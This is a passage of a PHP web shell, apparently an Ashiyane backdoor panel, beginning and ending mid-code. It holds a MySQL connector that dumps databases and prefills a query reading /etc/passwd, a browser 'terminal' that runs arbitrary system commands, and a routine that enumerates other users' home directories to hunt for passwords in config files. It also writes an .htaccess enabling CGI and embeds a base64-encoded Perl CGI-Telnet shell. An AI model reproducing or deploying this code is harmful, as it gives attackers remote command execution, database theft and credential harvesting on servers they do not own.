for ($i = 0; $i < $num_fields; $i++)


{
while($row = mysql_fetch_row($result))
{
$return.= 'INSERT INTO '.$table.' VALUES(';
for($j=0; $j<$num_fields; $j++)
{
$row[$j] = addslashes($row[$j]);
$row[$j] = ereg_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; }
else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ");\n";
}
}
$return.="\n\n\n";
}

//save file
$handle = fopen('db-backup'.time().'-'.(md5(implode(',',
$tables))).'.sql','w+');
fwrite($handle,$return);

fclose($handle);
}

if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) &&


isset($_GET['sqlport']))
{

$sqlhost = $_GET['sqlhost']; $sqluser =


$_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
if($con = @mysql_connect($sqlhost.":".$sqlport,
$sqluser,$sqlpass))
{
$msg = "";
$msg .= "<div
style=\"width:99%;padding:4px 10px 0 10px;\">";
$msg .= "<p>Connected to ".
$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
$msg .= "&nbsp;&nbsp;<span
class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?action=sql&y=".
$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".
$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>";
if(isset($_GET['db']))
$msg .= "&nbsp;&nbsp;<span
class=\"gaya\">-&gt;</span>&nbsp;&nbsp;
<a href=\"?action=sql&y=".
$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".
$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".
$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
if(isset($_GET['table']))
$msg .= "&nbsp;&nbsp;<span
class=\"gaya\">-&gt;
</span>&nbsp;&nbsp;
<a href=\"?action=sql&y=".
$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".
$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".
$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
$msg .= "</p><p>version :
".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
$msg .= "</div>";
echo $msg;
if(isset($_GET['db']) && (!
isset($_GET['table'])) && (!isset($_GET['sqlquery'])))
{
$db = $_GET['db'];

echo "<a href=\"?action=sql&y=".


$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".
$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;dump\">"."<input
type='button' value='Dump Current DB'>"."</a>";

if(isset($_GET['dump'])){
backup_tables($sqlhost,$sqluser,$sqlpass,$db);
echo "Successully Dumped.";

}
$query = "DROP TABLE IF EXISTS
Newbie3viLc063s0_table;
\nCREATE TABLE `Black_Hack3r Team`
( `file` LONGBLOB NOT NULL );
\nLOAD DATA
INFILE \"/etc/passwd\"\nINTO TABLE Mast3r_table;SELECT * FROM Ashiyane_table;
\nDROP TABLE IF EXISTS
Ashiyane_table;";
$msg = "<div
style=\"width:99%;padding:0 10px;\">
<form action=\"?\"
method=\"get\">
<input type=\"hidden\"
name=\"action\" value=\"sql\" />
<input type=\"hidden\"
name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\"
name=\"x\" value=\"mysql\" />
<input type=\"hidden\"
name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\"
name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\"
name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\"
name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\"
name=\"db\" value=\"".$db."\" />
<p><textarea
name=\"sqlquery\" class=\"output\"
style=\"width:98%;height:80px;\">$query</textarea></p>
<p><input
class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\"
value=\"Go\" /></p>
</form>
</div> ";
$tables = array();
$msg .= "<table class=\"explore\"
style=\"width:99%;\"><tr><th>available tables on
".htmlspecialchars($db)."</th></tr>";
$hasil = @mysql_list_tables($db,
$con);
while(list($table) =
@mysql_fetch_row($hasil))
{ @array_push($tables,$table); }
@sort($tables);
foreach($tables as $table)
{
$msg .= "<tr><td><a href=\"?
action=sql&y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".
$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".
$db."&amp;table=".$table."\">$table</a></td></tr>";
}
$msg .= "</table>";
}
elseif(isset($_GET['table']) && (!
isset($_GET['sqlquery'])))
{
$db = $_GET['db'];
$table = $_GET['table'];
$query = "SELECT * FROM ".$db.".".
$table." LIMIT 0,100;";
$msgq = "<div style=\"width:99%;padding:0
10px;\">
<form action=\"?\"
method=\"get\">
<input type=\"hidden\"
name=\"action\" value=\"sql\" />
<input type=\"hidden\"
name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\"
name=\"x\" value=\"mysql\" />
<input type=\"hidden\"
name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\"
name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\"
name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\"
name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\"
name=\"db\" value=\"".$db."\" />
<input type=\"hidden\"
name=\"table\" value=\"".$table."\" />
<p><textarea
name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".
$query."</textarea></p>
<p><input
class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\"
value=\"Go\" /></p>
</form>
</div> ";
$columns = array();
$msg = "<table class=\"explore\"
style=\"width:99%;\">";
$hasil = @mysql_query("SHOW FIELDS FROM
".$db.".".$table);
while(list($column) =
@mysql_fetch_row($hasil))
{
$msg .= "<th>$column</th>"; $kolum
= $column;
}
$msg .= "</tr>";
$hasil = @mysql_query("SELECT count(*)
FROM ".$db.".".$table);
list($total) = mysql_fetch_row($hasil);
if(isset($_GET['z'])) $page = (int)
$_GET['z'];
else $page = 1;
$pagenum = 100;
$totpage = ceil($total / $pagenum);
$start = (($page - 1) * $pagenum);
$hasil = @mysql_query("SELECT * FROM ".
$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas =
@mysql_fetch_assoc($hasil))
{
$msg .= "<tr>";
foreach($datas as $data)
{ if(trim($data) == "") $data = "&nbsp;"; $msg .= "<td>$data</td>"; }
$msg .= "</tr>";
}
$msg .= "</table>";
$head = "<div style=\"padding:10px 0 0
6px;\">
<form action=\"?\"
method=\"get\">
<input type=\"hidden\"
name=\"action\" value=\"sql\" />
<input type=\"hidden\"
name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\"
name=\"x\" value=\"mysql\" />
<input type=\"hidden\"
name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\"
name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\"
name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\"
name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\"
name=\"db\" value=\"".$db."\" />
<input type=\"hidden\"
name=\"table\" value=\"".$table."\" />
Page <select
class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
for($i = 1;$i <= $totpage;$i++)
{
$head .= "<option value=\"".
$i."\">".$i."</option>";
if($i == $_GET['z']) $head .=
"<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
}
$head .= "</select><noscript><input
class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
$msg = $msgq.$head.$msg;
}
elseif(isset($_GET['submitquery']) &&
($_GET['sqlquery'] != ""))
{
$db = $_GET['db'];
$query = $_GET['sqlquery'];
$msg = "<div style=\"width:99%;padding:0
10px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\"
name=\"action\" value=\"sql\" />
<input type=\"hidden\"
name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\"
name=\"x\" value=\"mysql\" />
<input type=\"hidden\"
name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\"
name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\"
name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\"
name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\"
name=\"db\" value=\"".$db."\" />
<p><textarea
name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".
$query."</textarea></p>
<p><input class=\"inputzbut\"
style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
</form>
</div> ";
@mysql_select_db($db);
$querys = explode(";",$query);
foreach($querys as $query)
{
if(trim($query) != "")
{
$hasil = mysql_query($query);
if($hasil)
{
$msg .= "<p
style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
<span
class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
$msg .= "<table
class=\"explore\" style=\"width:99%;\"><tr>";

for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .=
"<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
$msg .= "</tr>";

for($i=0;$i<@mysql_num_rows($hasil);$i++)
{

$rows=@mysql_fetch_array($hasil);
$msg .= "<tr>";

for($j=0;$j<@mysql_num_fields($hasil);$j++)
{
if($rows[$j] ==
"") $dataz = "&nbsp;";
else $dataz =
$rows[$j];
$msg .= "<td>".
$dataz."</td>";
}
$msg .= "</tr>";
}
$msg .= "</table>";
}
else
$msg .= "<p
style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span
class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
}
}
}
else
{
$query = "SHOW PROCESSLIST;\n
SHOW VARIABLES;\n
SHOW STATUS;";
$msg = "<div style=\"width:99%;padding:0
10px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"action\"
value=\"sql\" />
<input type=\"hidden\" name=\"y\"
value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\"
value=\"mysql\" />
<input type=\"hidden\"
name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\"
name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\"
name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\"
name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\"
value=\"".$db."\" />
<p><textarea name=\"sqlquery\"
class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
<p><input class=\"inputzbut\"
style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
</form>
</div> ";
$dbs = array();
$msg .= "<table class=\"explore\"
style=\"width:99%;\"><tr><th>available databases</th></tr>";
$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_fetch_row($hasil))
{ @array_push($dbs,$db); }
@sort($dbs);
foreach($dbs as $db)
{
$msg .= "<tr><td><a href=\"?
action=sql&y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".
$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".
$db."\">$db</a></td></tr>";
}
$msg .= "</table>";
}
@mysql_close($con);
}
else $msg = "<p style=\"text-align:center;\">cant connect
to mysql server</p>";
echo $msg;
}

else {
?>

<form action="?" method="get">


<input type="hidden" name="action" value="sql" />
<input type="hidden" name="y" value="<?php echo $pwd; ?
>" />
<input type="hidden" name="x" value="mysql" />
<table class="tabnet" style="width:300px;">
<tr>
<th colspan="2">Connect to mySQL server</th>
</tr>
<tr>
<td>&nbsp;&nbsp;Host</td>
<td><input style="width:220px;" class="inputz"
type="text" name="sqlhost" value="localhost" /></td>
</tr>
<tr>
<td>&nbsp;&nbsp;Username</td>
<td><input style="width:220px;" class="inputz"
type="text" name="sqluser" value="root" /></td>
</tr>
<tr>
<td>&nbsp;&nbsp;Password</td>
<td><input style="width:220px;" class="inputz"
type="text" name="sqlpass" value="" /></td>
</tr>
<tr>
<td>&nbsp;&nbsp;Port</td>
<td><input style="width:80px;" class="inputz"
type="number" name="sqlport" value="3306" min="1" max="65535"/>&nbsp;<input
style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql"
/></td>
</tr>
</table>
</form>

<?php
} //end sql connector

}
//terminal ~ by Mast3r 0mid
if($action=="terminal"){
echo "<style>#terminal{background: #A81F1F}</style>";

$user = @get_current_user();
$prompt = $user." &gt;";
$pwd = realpath(".")."\\";
function exe($cmd)
{
if(function_exists('system'))
{
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec'))
{
@exec($cmd,$results);
$buff = "";
foreach($results as $result)
{ $buff .= $result; }
return $buff;
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec'))
{
$buff = @shell_exec($cmd);
return $buff;
}
}
?>
<CENTER>
<form action="?action=terminal&CMD=shell#down" method="post">
<table class="cmdbox">
<tr>
<td colspan="2">
<a name="down"></a>
<textarea style="width: 1000px; height: 400px;color:
#FFF;background-color: #000;border: 2px solid #CE3F3F;font: 9pt Monospace,"Courier
New";" class="output" readonly=""> $<?php if(isset($_POST['submitcmd'])) { echo
htmlspecialchars($_POST['cmd'])."\n";}?><?php if(isset($_POST['submitcmd'])) { echo
@exe($_POST['cmd']); } ?> </textarea>
</td>
</tr>
<tr>
<td colspan="2"><?php echo $prompt; ?>
<input onMouseOver="this.focus();" id="cmd" class="input"
type="text" name="cmd" style="width:60%;" value="" />
<input class="inputbutn" type="submit" value="Execute !"
name="submitcmd" style="width:12%;" />
</td>
</tr>
</table>
</form></CENTER>

<?php
//end terminal
}
if($action=="basedir"){
echo "<style>#basedir{background: #A81F1F}</style>";
echo '<div style="text-align:left">';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode is
on</b>');
set_time_limit(0);
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) { die('<b> <center><font color="#FFFFFF">Error : coudn`t read
/etc/passwd</font></center></b>'); }
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd))
{
$str = fgets($passwd);
if ($i > 35)
{
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != ''))
{
if (is_readable($dirz))
{
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
echo '<br><br>';
echo "<b><font color=\"#00A220\">Founded ".sizeof($users)." entrys in
/etc/passwd\n"."<br /></font></b>";
echo "<b><font color=\"#00A220\">Founded ".sizeof($pub)." readable public_html
directories\n"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">Searching for passwords in config
files...\n\n"."<br /><br /><br /></font></b>";
foreach ($users as $user)
{
$p4th = "/home/$user/public_html/";
echo "<form method=get><span>Change Dir : <b><font
color=\"#CE3F3F\">$user</font></b></span><br><input type='hidden' name='action'
value='explorer'><input type=text name=dir value='$p4th'><input type=submit
value='>>'></form><br>";
}
echo '<br><br></b>';
echo '</div>';

if($action=="cgiashiyane"){
echo "<style>#cgiashiyane{background: #A81F1F}</style>";
if (!file_exists("cgiashiyane") && !is_dir("cgiashiyane")) {
mkdir('cgiashiyane',0755);
}
chdir('cgiashiyane');
$ashiyane1 = '.htaccess';
$ashiyane2 = "$ashiyane1";
$ashiyane3 = fopen ($ashiyane2 ,'w') or die ('ERROR!!!');
$ashiyane4 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .ashiyane
AddHandler cgi-script .ashiyane
AddHandler cgi-script .ashiyane';
fwrite ( $ashiyane3 ,$ashiyane4 ) ;
fclose ($ashiyane3);
$ashiyane5 = "
IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb3
B5cmlnaHQgYW5kIExpY2VuY2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ0dJLVRlbG5ldCBWZXJzaW9uIDEu
MCBmb3IgTlQgYW5kIFVuaXggOiBSdW4gQ29tbWFuZHMgb24geW91ciBXZWIgU2VydmVyDQojDQojIENvcHl
yaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFBlcm1pc3Npb24gaXMgZ3JhbnRlZCB0byB1c2UsIG
Rpc3RyaWJ1dGUgYW5kIG1vZGlmeSB0aGlzIHNjcmlwdCBzbyBsb25nDQojIGFzIHRoaXMgY29weXJpZ2h0I
G5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0DQojIHBs
ZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2V
zIHRvIGJlIG1hZGUNCiMgaW4gdGhpcyBzY3JpcHQsIHlvdSBjYW4gZS1tYWlsIG1lLg0KIw0KIyBBdXRob3
I6IFJvaGl0YWIgQmF0cmENCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQ0KIyBBdXRob
3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vDQojIFNjcmlwdCBIb21lcGFnZTogbWFpbHRv
OlVOSVRYX1RFQU1ASE9UTUFJTC5DT00NCiMgUHJvZHVjdCBTdXBwb3J0OiBodHRwOi8vd3d3LnJvaGl0YWI
uY29tL3N1cHBvcnQvDQojIERpc2N1c3Npb24gRm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3
Vzcy8NCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0Lw0KIy0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEluc3RhbGxhdGlvbg0KIy0tLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
Q0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0DQojDQojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEv
dXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uDQojICAgIHlvdXIgc2VydmV
yLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLg0KIyAyLiBDaG
FuZ2UgdGhlIHBhc3N3b3JkIGluIHRoZSBDb25maWd1cmF0aW9uIHNlY3Rpb24gYmVsb3cuDQojIDMuIElmI
HlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwgc2V0ICRXaW5OVCA9IDEgaW4g
dGhlDQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4NCiMgNC4gVXBsb2FkIHRoZSBzY3JpcHQ
gdG8gYSBkaXJlY3Rvcnkgb24geW91ciBzZXJ2ZXIgd2hpY2ggaGFzIHBlcm1pc3Npb25zIHRvDQojICAgIG
V4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b
3UgdXBsb2FkDQojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4NCiMgNS4gQ2hhbmdlIHRoZSBwZXJt
aXNzaW9uIChDSE1PRCkgb2YgdGhlIHNjcmlwdCB0byA3NTUuDQojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB
5b3VyIHdlYiBicm93c2VyLiBJZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbg0KIyAgICBjZ2ktYmluLC
B0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsD
QojIDcuIExvZ2luIHVzaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBzcGVjaWZpZWQgaW4gU3RlcCAyLg0K
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZ
WVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNo
b3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCgkJIyBDaGFuZ2
UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UI
D0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5
b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHl
vdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdC
Bpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlI
DIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21k
U2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgk
JCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMT
A7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24nd
CBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29t
bWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCB
saWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaX
MNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgS
WYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBh
cyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB
0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ
0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZ
WluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxF
U1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWR
TZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aF
NlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxP
iYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHN
lbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZX
MgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nI
GZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBz
dG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHV
zaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdG
U6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KI
yBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA
9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm
1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFye
T0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0g
JEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlB
PU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQ
lyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpb
GUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRh
dGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmV
yIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm
9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgP
SAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdh
cyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4
gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy
9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJ
